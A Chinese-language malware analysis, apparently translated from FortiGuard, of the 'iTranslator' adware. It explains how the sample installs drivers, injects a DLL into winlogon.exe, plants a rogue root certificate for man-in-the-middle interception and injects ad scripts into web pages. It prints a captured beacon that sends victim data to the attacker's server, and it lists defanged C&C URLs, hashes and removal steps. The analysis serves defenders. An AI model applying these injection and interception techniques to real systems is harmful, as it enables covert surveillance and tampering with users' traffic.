一、前言
FortiGuard實(shí)驗(yàn)室研究團(tuán)隊(duì)最近捕獲到一個(gè)惡意軟件樣本,這個(gè)EXE文件帶有一個(gè)無效的證書簽名。一旦受害者打開exe文件,惡意軟件就會(huì)安裝兩個(gè)驅(qū)動(dòng),控制受害者的Windows系統(tǒng),同時(shí)監(jiān)控受害者使用瀏覽器的互聯(lián)網(wǎng)活動(dòng)規(guī)律。
在本文中,我將詳細(xì)分析惡意軟件如何在受害者系統(tǒng)上安裝驅(qū)動(dòng)、驅(qū)動(dòng)的工作方式以及惡意軟件的具體功能。
二、執(zhí)行惡意軟件樣本
本次捕獲的樣本文件名為itranslator_02.exe
。在實(shí)際攻擊活動(dòng)中,惡意軟件使用了多個(gè)不同的名稱,包括itransppa.exe
、itranslator20041_se.exe
、Setup.exe
以及itransVes.exe
。樣本文件經(jīng)過證書簽名,證書的過期時(shí)間為2015年5月16日。該證書由VeriSign Class 3 Code Signing 2010 CA
頒發(fā)給Beijing ******** Technology Ltd
(這里我隱去了公司的名稱),序列號(hào)為0A 00 5D 2E 2B CD 41 37 16 82 17 D8 C7 27 74 7C
。樣本的數(shù)字證書信息如圖1所示:
圖1. 惡意軟件使用了已過期的證書
當(dāng)itranslator_02.exe
運(yùn)行時(shí),會(huì)在program-data
目錄(在我的測試環(huán)境中,該目錄為C:\ProgramData
)中創(chuàng)建名為itranslator
的一個(gè)新目錄,然后將名為wintrans.exe
的一個(gè)新文件釋放到該目錄中。使用參數(shù)P002
啟動(dòng)wintrans.exe
后,itranslator_02.exe
的任務(wù)就此完成。這里使用的命令行字符串為:C:\ProgramData\itranslator\wintrans.exe P002
,惡意軟件將P002
作為GUID
來使用,并在惡意攻擊活動(dòng)中利用該值與C&C服務(wù)器通信。
三、安裝驅(qū)動(dòng)組件
順利接管itranslator_02.exe
的工作后,wintrans.exe
會(huì)下載其他惡意組件并安裝到受害者的Windows系統(tǒng)中,然后在受害者系統(tǒng)上安裝驅(qū)動(dòng),我們來看驅(qū)動(dòng)安裝過程。
圖2. 創(chuàng)建驅(qū)動(dòng)服務(wù)“iTranslatorSvc”
惡意軟件創(chuàng)建了一個(gè)線程來執(zhí)行該操作:首先調(diào)用兩個(gè)Windows系統(tǒng)API來創(chuàng)建驅(qū)動(dòng)服務(wù),相關(guān)API為OpenSCManagerA
以及CreateServiceA
。驅(qū)動(dòng)名為iTranslatorSvc
,該名稱為CreateServiceA
API的一個(gè)參數(shù)。
利用這種方式,惡意軟件調(diào)用CreateServiceA
API為新的驅(qū)動(dòng)服務(wù)創(chuàng)建一個(gè)新的注冊(cè)表鍵值。該樣本創(chuàng)建的注冊(cè)表鍵值為:HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
。
新創(chuàng)建驅(qū)動(dòng)的啟動(dòng)(Start
)類型最開始時(shí)會(huì)被惡意軟件設(shè)置為2(對(duì)應(yīng)的就是AUTO_START
),隨后再被修改為1(對(duì)應(yīng)的是SYSTEM_START
)。這樣每當(dāng)系統(tǒng)啟動(dòng)時(shí)都會(huì)啟用該驅(qū)動(dòng)。我們通過IDA Pro分析了驅(qū)動(dòng)的創(chuàng)建過程,如圖2所示。
接下來,wintrans.exe
會(huì)將名為iTranslator
的一個(gè)文件釋放到Windows
目錄中(在我的測試環(huán)境中該目錄為C:\Windows\
),該文件已事先內(nèi)嵌在wintrans.exe
文件的BIN
資源區(qū)中。釋放文件的偽代碼如圖3所示。
圖3. 從資源區(qū)中提取iTranslator文件
大家可能已經(jīng)猜到,iTranslator
也是一個(gè)Windows驅(qū)動(dòng)文件,調(diào)用CreateServiceA
時(shí)使用了該文件的完整路徑以便創(chuàng)建iTranslatorSvc
。
iTranslator
文件經(jīng)過VMProtect加殼保護(hù),該文件同樣帶有一個(gè)無效的證書簽名(證書已于2015年5月12日過期)。簽名方為Nanjing ********* Technology Co.,Ltd
,序列號(hào)為73 dc b1 a0 35 15 bb 63 9b f3 1e cd 5f 98 ff 24
。iTranslator
文件的屬性信息如圖4所示,我們也使用PE工具分析了加殼信息。
圖4. iTranslator
屬性及加殼信息
隨后惡意軟件使用P002
創(chuàng)建GUID值,并且使用受害者的硬件信息生成十六進(jìn)制值來創(chuàng)建MachineCode
鍵,這些值都保存在HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
這個(gè)子鍵中。注冊(cè)表中的相關(guān)數(shù)據(jù)如圖5所示:
圖5. iTranslatorSvc注冊(cè)表信息
此后,惡意軟件繼續(xù)調(diào)用StartServiceA
,立刻運(yùn)行惡意驅(qū)動(dòng)。為了向大家展示惡意驅(qū)動(dòng)程序在受害者計(jì)算機(jī)上的運(yùn)行過程,接下來我會(huì)以操作系統(tǒng)啟動(dòng)為起點(diǎn),從頭開始梳理整個(gè)過程,這也是加載驅(qū)動(dòng)的正常方式。
四、下載其他組件
一旦安裝完畢,惡意軟件會(huì)在某個(gè)線程函數(shù)中嘗試下載一個(gè)DLL模塊。相應(yīng)的HTTP請(qǐng)求及響應(yīng)數(shù)據(jù)如圖6所示:
圖6. 下載DLL文件
在URI中,uid=
為機(jī)器代碼,v=
為惡意軟件當(dāng)前版本(這里的版本為1.0.0
),x=
為受害者的Windows架構(gòu)(32位或者64位)。在頭部數(shù)據(jù)中,UID: P002
為惡意軟件的GUID。在響應(yīng)報(bào)文中,惡意軟件會(huì)返回最新的版本信息以及下載鏈接。在本文樣本中,最新的版本為1.0.7
版,下載鏈接為hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll
(然而在分析該惡意軟件的過程中,最新版本更新到了1.0.8
版,下載鏈接也變?yōu)?code>hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll)。
惡意軟件隨后會(huì)下載DLL文件,將其保存為同一個(gè)目錄(即C:\ProgramData\itranslator\
)下的wintrans.exe
。根據(jù)我的分析,下載的文件iTranslator.dll
可能是這款惡意軟件的主模塊,其執(zhí)行的部分任務(wù)列表如下:
1、提取并加載一個(gè)網(wǎng)絡(luò)過濾器驅(qū)動(dòng);
2、與其他驅(qū)動(dòng)交換數(shù)據(jù);
3、在未經(jīng)受害者許可的情況下,將SSL證書以可信根證書形式安裝到瀏覽器中;
4、監(jiān)控受害者瀏覽器的互聯(lián)網(wǎng)訪問數(shù)據(jù)包。
有趣的是,下載的文件并不僅僅是一個(gè)DLL文件,而是一個(gè)文件容器,其資源區(qū)中包含許多其他文件,這些文件隨后會(huì)釋放到受害者的本地目錄中。下載的iTranslator.dll
可以在首次安裝時(shí)由wintrans.exe
加載運(yùn)行,也可以在Windows系統(tǒng)啟動(dòng)時(shí)由winlogon.exe
負(fù)責(zé)加載及運(yùn)行,而后者由iTranslatorSvc
驅(qū)動(dòng)負(fù)責(zé)加載。我會(huì)在下文的驅(qū)動(dòng)啟動(dòng)部分詳細(xì)介紹這個(gè)過程。
惡意軟件同時(shí)也會(huì)在系統(tǒng)注冊(cè)表的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
路徑中記錄最新的版本信息,其中iVersion
代表最新版本號(hào),本文成稿時(shí)該版本號(hào)為1.0.8
。
五、通知攻擊者
wintrans.exe
的最后一個(gè)任務(wù)是將受害者的系統(tǒng)信息發(fā)送到攻擊者的服務(wù)器,發(fā)送的報(bào)文格式如下所示:
GET /in.php?type=is&ch=P002&mc=07********************93&os=Windows7(6.1)&t=1435127837&m=08****0****E HTTP/1.1
UID: P002
MC: 078********************3
User-Agent: ITRANSLATOR
Host: tk.immereeako.info
URL中的ch=
以及頭部中的UID
為GUID P002
;URL中的mc=
以及頭部中的MC
為受害者系統(tǒng)的機(jī)器碼;os=
為受害者的操作系統(tǒng)版本;t=
為當(dāng)前Windows的安裝日期,該信息來自于系統(tǒng)注冊(cè)表中,惡意軟件使用了Unix格式時(shí)間,即從1970年1月1日以來的秒數(shù);m
為受害者的網(wǎng)絡(luò)MAC地址。
我將原始報(bào)文中的敏感信息以*
號(hào)來代替,該報(bào)文用來通知攻擊者惡意軟件已在Windows系統(tǒng)上安裝完畢。
六、在Windows啟動(dòng)過程中加載惡意驅(qū)動(dòng)
Windows系統(tǒng)啟動(dòng)過程中會(huì)加載iTranslatorSvc
驅(qū)動(dòng),從現(xiàn)在開始我會(huì)詳細(xì)介紹惡意軟件的工作流程。
惡意驅(qū)動(dòng)文件路徑為C:\Windows\iTranslator
,經(jīng)過VMProtect v2.0.7加殼保護(hù),存在多個(gè)導(dǎo)出函數(shù),如圖7所示。
圖7. iTranslatorSvc驅(qū)動(dòng)的導(dǎo)出函數(shù)
該驅(qū)動(dòng)由nt!IopLoadDriver
負(fù)責(zé)加載。當(dāng)VMProtect加殼器的代碼執(zhí)行后,會(huì)還原出驅(qū)動(dòng)的DriverEntry
函數(shù),我們可以進(jìn)入該函數(shù)繼續(xù)分析。
驅(qū)動(dòng)首先會(huì)從系統(tǒng)的注冊(cè)表中讀取GUID
以及MachineCode
,將這些信息保存在全局變量中,然后將Start
值設(shè)置為1,即SYSTEM_START
。接下來惡意軟件會(huì)為該驅(qū)動(dòng)創(chuàng)建一個(gè)設(shè)備對(duì)象\\Device\\iTranslatorCtrl
以及一個(gè)符號(hào)鏈接\\DosDevices\\iTranlatorCtrl
,這樣運(yùn)行在ring 3的惡意軟件就可以通過\\\\.\\iTranslatorCtrl
訪問驅(qū)動(dòng)。隨后惡意驅(qū)動(dòng)會(huì)設(shè)置一些dispatch(分發(fā))函數(shù),就像其他驅(qū)動(dòng)一樣。在IRP_MJ_DEVICE_CONTROL
分發(fā)函數(shù)中,驅(qū)動(dòng)只會(huì)返回來自于全局變量的GUID
以及MachineCode
值。
七、在系統(tǒng)線程中設(shè)置回調(diào)函數(shù)
最后,惡意驅(qū)動(dòng)會(huì)調(diào)用nt!PsCreateSystemThread
API創(chuàng)建一個(gè)系統(tǒng)線程,線程函數(shù)同樣經(jīng)過VMProtect加殼器的保護(hù)。受VMProtect保護(hù)的系統(tǒng)線程函數(shù)代碼片段如圖8所示。惡意驅(qū)動(dòng)中的所有API調(diào)用都通過這種方式經(jīng)過加殼保護(hù),如圖8所示:
圖8. 經(jīng)過VMProtect加殼保護(hù)的代碼片段
系統(tǒng)線程啟動(dòng)時(shí)首先會(huì)從內(nèi)存中釋放文件,文件的完整路徑為C:\Windows\System32\iTranslator.dll
,然后調(diào)用nt!PsSetLoadImageNotifyRoutine
API來設(shè)置鏡像加載回調(diào)函數(shù)。MSDN對(duì)該API的描述為:“PsSetLoadImageNotifyRoutine
例程用來注冊(cè)由驅(qū)動(dòng)提供的一個(gè)回調(diào)函數(shù),以便當(dāng)鏡像加載(或映射到內(nèi)存中)時(shí)獲得相關(guān)通知”。這意味著每當(dāng)鏡像(或者EXE文件)開始加載時(shí),鏡像就會(huì)被掛起,驅(qū)動(dòng)中的回調(diào)函數(shù)就會(huì)被另一個(gè)API(即nt!PsCallImageNotifyRoutines
)所調(diào)用。此時(shí),iTranslatorSvc
驅(qū)動(dòng)就可以讀取鏡像的整個(gè)進(jìn)程信息,通過修改進(jìn)程信息來影響進(jìn)程的執(zhí)行流程。
讓我們回到驅(qū)動(dòng)中的這個(gè)回調(diào)函數(shù)上,分析該函數(shù)的具體功能。當(dāng)該函數(shù)被調(diào)用時(shí),會(huì)檢查進(jìn)程名是否為winlogon.exe
,如果滿足該條件,則驅(qū)動(dòng)就會(huì)找到該進(jìn)程的映射內(nèi)存,然后在內(nèi)存中重建Import Directory Table(IDT表),將惡意DLL C:\Windows\System32\iTranslator.dll
加到該表末尾處。IDT表中同樣包含該進(jìn)程所需的某些模塊數(shù)據(jù)(比如Kernel32.dll
、User32.dll
)。IDT表中每個(gè)模塊的數(shù)據(jù)占用14H個(gè)字節(jié)。
重建的IDT表如圖9所示,惡意軟件需要修改導(dǎo)入表(Import Table)表項(xiàng)在PE數(shù)據(jù)目錄表(Data Directory Table)中的偏移來重建IDT表。隨后,一旦winlogon.exe
恢復(fù)執(zhí)行,就會(huì)像加載其他正常DLL那樣加載這個(gè)惡意的DLL。
圖9. 重建IDT表
為什么惡意軟件使用的是winlogon.exe
?這是屬于Windows登錄管理器的一個(gè)進(jìn)程,可以處理登錄及注銷過程。如果該進(jìn)程被終止,則用戶會(huì)從系統(tǒng)中注銷。換句話說,除非Windows系統(tǒng)關(guān)閉,否則該進(jìn)程將始終處于運(yùn)行狀態(tài)。
惡意驅(qū)動(dòng)還會(huì)繼續(xù)設(shè)置另一個(gè)鏡像加載回調(diào)函數(shù)。根據(jù)我的分析,該函數(shù)用來檢查鏡像是否為特定的瀏覽器,如iexplore.exe
、firefox.exe
或者chrome.exe
。如果匹配成功,驅(qū)動(dòng)就會(huì)查找相關(guān)的進(jìn)程信息塊,向其命令行中添加hxxp://go.microsoft.com/?69157
參數(shù)。完成該操作后,當(dāng)瀏覽器啟動(dòng)時(shí)就會(huì)先訪問hxxp://go.microsoft.com/?69157
這個(gè)網(wǎng)址。IE啟動(dòng)時(shí)情況如圖10所示,其命令行末尾已附加了hxxp://go.microsoft.com/?69157
這個(gè)URL。
圖10. IE使用hxxp://go.microsoft.com/?69157
參數(shù)
實(shí)際上,受害者的瀏覽器并沒有真正訪問過該URL,該URL的作用更像是一個(gè)開關(guān)標(biāo)志。隨后,惡意軟件會(huì)提取并加載另一個(gè)驅(qū)動(dòng)來監(jiān)控受害者的網(wǎng)絡(luò)活動(dòng),然后中斷請(qǐng)求,指向hxxp://go.microsoft.com/?69157
,然后執(zhí)行不同的任務(wù)。下文我們將分析這方面內(nèi)容。
惡意驅(qū)動(dòng)同樣會(huì)在系統(tǒng)線程函數(shù)中調(diào)用nt! CmRegisterCallback
來設(shè)置注冊(cè)表回調(diào)函數(shù),在驅(qū)動(dòng)級(jí)別過濾注冊(cè)表調(diào)用。根據(jù)我的分析,這個(gè)回調(diào)函數(shù)對(duì)微軟Edge瀏覽器比較關(guān)注。
iTranslatorSvc
驅(qū)動(dòng)同樣會(huì)保護(hù)系統(tǒng)注冊(cè)表中相關(guān)路徑(即HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
)的訪問權(quán)限。當(dāng)我們使用注冊(cè)表編輯器訪問該路徑時(shí),會(huì)看到一個(gè)錯(cuò)誤提示消息,如圖11所示。
圖11. 受驅(qū)動(dòng)保護(hù)的iTranslatorSvc注冊(cè)表項(xiàng)
八、當(dāng)winlogon.exe恢復(fù)運(yùn)行
前面我提到過,當(dāng)winlogon.exe
恢復(fù)運(yùn)行時(shí),會(huì)加載C:\Windows\System32\iTranslator.dll
,該文件來自于iTranslatorSvc
驅(qū)動(dòng),整個(gè)過程如前文所述。System32
目錄下的iTranslator.dll
同樣經(jīng)過VMProtect v.2.07加殼保護(hù)。
根據(jù)我的分析,該程序的主要目的是加載C:\ProgramData\itranslator
目錄中的itranslator.dll
模塊(該文件由前文提到過的wintrans.exe
下載)。隨后,如果C&C服務(wù)器上存在更新版本的itranslator.dll
,則惡意軟件會(huì)嘗試更新,這與wintrans.exe
的功能類似。到目前為止,該DLL文件的最新版本為1.0.8
。
惡意軟件的文件名可能會(huì)讓大家有點(diǎn)困惑,這里存在兩個(gè)相似的文件名。一個(gè)來自于iTranslatorSvc
驅(qū)動(dòng),路徑為C:\Windows\System32\iTranslator.dll
,另一個(gè)從C&C服務(wù)器下載,路徑為C:\ProgramData\itranslator\itranslator.dll
。在下文中,為了區(qū)分這兩個(gè)文件,我將C:\Windows\System32\iTranslator.dll
標(biāo)記為extracted-iTranslator.dll
,將C:\ProgramData\itranslator\itranslator.dll
標(biāo)記為downloaded-itranslator.dll
。
downloaded-itranslator.dll
為該惡意軟件的主模塊,可以由wintrans.exe
以及winlogon.exe
加載執(zhí)行。在winlogon.exe
進(jìn)程中,downloaded-itranslator.dll
會(huì)被手動(dòng)加載到0x10000000
這個(gè)內(nèi)存位置。根據(jù)該文件PE結(jié)構(gòu)中的數(shù)據(jù)定義,該進(jìn)程會(huì)矯正數(shù)據(jù)以便正常執(zhí)行。最后,進(jìn)程會(huì)調(diào)用downloaded-itranslator.dll
的入口函數(shù)。至此extracted-iTranslator.dll
的任務(wù)已圓滿完成。
九、啟動(dòng)downloaded-itranslator.dll
惡意軟件首先通過iTranslatorSvc
驅(qū)動(dòng)獲取GUID
以及MachineCode
的值,并將其保存到全局變量中。在下一步中,惡意軟件會(huì)創(chuàng)建一個(gè)線程,從C&C服務(wù)器獲取C&C服務(wù)器URL的更新列表。通過這種方法,這款惡意軟件可以使用多個(gè)不同的C&C服務(wù)器啦執(zhí)行不同的任務(wù)。hxxp://ask.excedese.xyz/
這個(gè)服務(wù)器保存了兩個(gè)C&C服務(wù)器URL,對(duì)應(yīng)的報(bào)文內(nèi)容如圖12所示。
圖12. 更新C&C服務(wù)器URL
響應(yīng)報(bào)文中包含JSON格式的兩個(gè)新的URL,分別為immereeako.info
以及search.bulletiz.info
,這些地址會(huì)保存到兩個(gè)全局變量中,以便后續(xù)使用。
前面我提到過,downloaded-itranslator.dll
文件其實(shí)是一個(gè)容器,其資源區(qū)中包含許多文件,這些文件會(huì)被釋放到本地不同的目錄中,這些文件如下表所示:
此外,惡意軟件也會(huì)從內(nèi)存中釋放出C:\Windows\SSL\Sample CA 2.cer
這個(gè)文件。
十、中間人攻擊
根據(jù)我的分析,釋放出來的所有文件都用于在受害者系統(tǒng)上執(zhí)行中間人攻擊。
iNetfilterSvc
文件是另一個(gè)驅(qū)動(dòng)程序,其名稱為NetfilterSvc
,其實(shí)是NetFilter SDK這個(gè)商業(yè)項(xiàng)目的一個(gè)實(shí)例。該驅(qū)動(dòng)是一個(gè)框架。用來透明過濾Windows系統(tǒng)中通過網(wǎng)絡(luò)傳輸?shù)臄?shù)據(jù)包。釋放出來的Sample CA 2.cer
是一個(gè)根證書,會(huì)以可信根證書頒發(fā)機(jī)構(gòu)形式安裝到Firefox以及Windows系統(tǒng)中(針對(duì)IE和Chrome)。這對(duì)隱蔽執(zhí)行中間人攻擊是非常有必要的一個(gè)操作。通過這種方法,受害者瀏覽器中用于SSL保護(hù)通信的所有證書其實(shí)都由Sample CA 2.cer
簽發(fā),由于Sample CA 2.cer
已經(jīng)位于可信根證書頒發(fā)機(jī)構(gòu)列表中,因此瀏覽器不會(huì)向用戶告警。
攻擊者會(huì)使用C:\Windows\nss
中的所有文件來控制Firefox瀏覽器。C:\Windows\nss\certutil.exe
文件用來將Sample CA 2.cer
安裝到Firefox中。使用調(diào)試器來分析certutil.exe
時(shí)如圖13所示。
圖13. certutil.exe
安裝Sample CA 2.cer
在圖14中,我們可以看到Sample CA 2.cer
已安裝到Mozilla Firefox以及Microsoft IE的可信根證書頒發(fā)機(jī)構(gòu)列表中。
圖14. Sample CA 2.cer安裝到Mozilla Firefox以及Microsoft IE中
downloaded-itranslator.dll
模塊的主要功能是釋放iNetfilterSvc
模塊,運(yùn)行該模塊(順便提一句,C:\Windows\iNetfilterSvc
在加載后會(huì)被立刻刪除),安裝Sample CA 2.cer
,然后與iTranslatorSvc
及NetfilterSvc
這兩個(gè)驅(qū)動(dòng)通信。通過這種方法,惡意軟件可以監(jiān)控受害者在所有主流瀏覽器上的活動(dòng)。
惡意軟件繼續(xù)創(chuàng)建NetfilterSvc
驅(qū)動(dòng)的一個(gè)驅(qū)動(dòng)句柄(\\.\CtrlSMNetfilterSvc
),以便與該驅(qū)動(dòng)交換數(shù)據(jù),然后將相關(guān)協(xié)議注冊(cè)到NetfilterSvc
,這樣當(dāng)捕獲相關(guān)協(xié)議的數(shù)據(jù)時(shí),驅(qū)動(dòng)就可以調(diào)用回調(diào)函數(shù)。大家可以訪問Netfilter SDK的官方網(wǎng)站,了解詳細(xì)信息。從圖15中,我們可以看到惡意軟件注冊(cè)HTTP協(xié)議(80端口)以及HTTPS協(xié)議(443端口)的代碼片段。
圖15. 注冊(cè)待過濾的協(xié)議到NetfilterSvc
圖16. 協(xié)議回調(diào)函數(shù)代碼片段
大家是否還記得,當(dāng)受害者啟動(dòng)IE時(shí),iTranslatorSvc
中的鏡像加載回調(diào)函數(shù)就會(huì)被調(diào)用,隨后就會(huì)將hxxp://go.microsoft.com/?69157
附加到IE的命令行參數(shù)中。IE發(fā)送HTTP請(qǐng)求報(bào)文,該報(bào)文會(huì)被NetfilterSvc
驅(qū)動(dòng)捕獲。與此同時(shí),downloaded-itranslator.dll
中的協(xié)議回調(diào)函數(shù)就會(huì)被調(diào)用。一個(gè)回調(diào)函數(shù)的代碼片段如圖16所示,惡意軟件會(huì)檢查所請(qǐng)求的URL是否為hxxp://go.microsoft.com/?69157
,如果滿足該條件,則發(fā)送一個(gè)通知報(bào)文到C&C服務(wù)器,然后受害者已打開瀏覽器。
使用Fiddler捕捉到的通知報(bào)文如圖17所示。請(qǐng)求的URL中包含P002
以及MachineCode
。C&C服務(wù)器返回的數(shù)據(jù)中包含Location: hxxps://www.google.com
信息,該信息最終會(huì)發(fā)送回IE,而IE會(huì)向受害者顯示Google網(wǎng)站。因此,受害者系統(tǒng)其實(shí)不會(huì)真正去訪問hxxp://go.microsoft.com/?69157
這個(gè)URL。
圖17. 通知C&C服務(wù)器瀏覽器已打開
對(duì)于瀏覽器中的其他請(qǐng)求(包括HTTP以及HTTPS數(shù)據(jù)),惡意軟件可以通過中間人攻擊方法修改數(shù)據(jù)包的內(nèi)容。惡意軟件會(huì)在每個(gè)響應(yīng)數(shù)據(jù)包的末尾插入一小段JavaScript代碼。這段JavaScript代碼在早期流程中生成,包含C&C服務(wù)器URL以及MachineCode
。當(dāng)瀏覽器收到響應(yīng)數(shù)據(jù)時(shí),就會(huì)執(zhí)行已插入的JavaScript代碼,執(zhí)行更多惡意操作。到目前為止,這段JavaScript代碼只會(huì)從C&C服務(wù)器上下載其他JS文件。被修改過的hxxps://www.google.com
頁面源碼如圖18所示,尾部包含已插入的JavaScript代碼。
圖18. 插入google.com響應(yīng)報(bào)文的JavaScript代碼
大家可能會(huì)注意到,當(dāng)JavaScript代碼運(yùn)行時(shí),會(huì)從hxxps://cdn.immereeako.info/pa.min.js
處下載一個(gè)腳本并在受害者的瀏覽器中運(yùn)行。
不幸的是,我的測試主機(jī)并沒有安裝微軟的Edge瀏覽器,但我認(rèn)為惡意軟件的攻擊方法同樣適用于Edge瀏覽器。
十一、JavaScript代碼分析
當(dāng)受害者瀏覽器加載hxxps://cdn.immereeako.info/pa.min.js
時(shí),就會(huì)往C&C服務(wù)器發(fā)送一個(gè)HTTP請(qǐng)求,如下圖所示:
請(qǐng)求報(bào)文中包含MachineCode
以及從受害者瀏覽器中收集到的一些數(shù)據(jù)(比如受害者正在訪問的當(dāng)前URL地址,本次測試中該地址為hxxps://www.facebook.com
)。
URL中的pacb_jlcmurby4cp95
是一個(gè)帶有隨機(jī)名的回調(diào)函數(shù),該函數(shù)由pa.min.js
負(fù)責(zé)生成。C&C服務(wù)器端會(huì)在響應(yīng)報(bào)文中用到該名稱。某個(gè)響應(yīng)報(bào)文如下圖所示:
body中的紅色高亮部分為JavaScript代碼,其中使用了對(duì)象參數(shù)來調(diào)用pacb_jlcmurby4cp95
函數(shù)。在回調(diào)函數(shù)中,腳本會(huì)處理該參數(shù),在當(dāng)前頁面上添加鼠標(biāo)單擊事件(例如:hxxp://www.facebook.com
)。當(dāng)鼠標(biāo)單擊事件在受害者當(dāng)前訪問的頁面中觸發(fā)時(shí),腳本會(huì)創(chuàng)建一個(gè)新的標(biāo)簽頁,然后訪問響應(yīng)數(shù)據(jù)包中的URL(這里的URL為hxxp://www.onclickbright.com/jump/next.php?r=20*****&sub1=pa
,我用*
號(hào)隱去了一些信息)。根據(jù)我的研究,訪問該URL會(huì)讓受害者看到一個(gè)廣告頁面。受害者在Microsoft IE及Google Chrome瀏覽器中看到的廣告頁面如圖19所示。
圖19. 推送給受害者的多個(gè)廣告頁面
十二、感染流程
為了更好地理解這款惡意軟件的整體感染流程,我梳理了一個(gè)簡單的流程圖,如圖20所示。
圖20. 簡要版感染流程圖
十三、解決方案
FortiGuard反病毒服務(wù)已經(jīng)公布了檢測該樣本的特征:W32/Itranslator.FE45!tr,此外,F(xiàn)ortiGuard Webfilter服務(wù)已經(jīng)將相關(guān)URL標(biāo)識(shí)為“惡意網(wǎng)站”。
如果想刪除這款惡意軟件,可以重啟主機(jī)并進(jìn)入按全模式,然后執(zhí)行如下操作:
1、刪除%WINDIR%\iTranslator
文件;
2、刪除%WINDIR%\nss
以及%WINDIR%\SSL
目錄;
3、刪除%WINDIR%\system32\iTranslator.dll
文件;
4、刪除%ProgramData%\itranslator
目錄;
5、刪除HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
注冊(cè)表鍵值;
6、刪除HKLM\SYSTEM\CurrentControlSet\services\NetfilterSvc
注冊(cè)表鍵值;
7、刪除所有瀏覽器中的Sample CA 2
證書。
十四、IOC
URL
hxxp://s3.amazonaws.com/dl.itranslator.info/
hxxps://cdn.immereeako.info/pa.min.js
hxxp://tk.immereeako.info/in.php
hxxp://ask.excedese.xyz/i.php
hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll
hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll
樣本SHA-256哈希
itranslator_02.exe
B73D436D7741F50D29764367CBECC4EE67412230FF0D66B7D1D0E4D26983824D
wintrans.exe
67B45AE63C4E995D3B26FE7E61554AD1A1537EEEE09AAB9409D5894C74C87D03
iTranslator(驅(qū)動(dòng))
E2BD952812DB5A6BBC330CC5C9438FC57637760066B9012FC06A8E591A1667F3
downloaded-itranslator.dll(1.0.7版)
C4EDE5E84043AB1432319D74D7A0713225D276600220D0ED5AAEB0B4B7CE36CD
downloaded-itranslator.dll(1.0.8版)
873825400FFF2B398ABF397F5A913A45FBD181654F20FBBE7665C239B7A2E8F5
十五、參考資料
NetFilter SDK:http://netfiltersdk.com/index.html
中間人攻擊:https://en.wikipedia.org/wiki/Man-in-the-middle_attack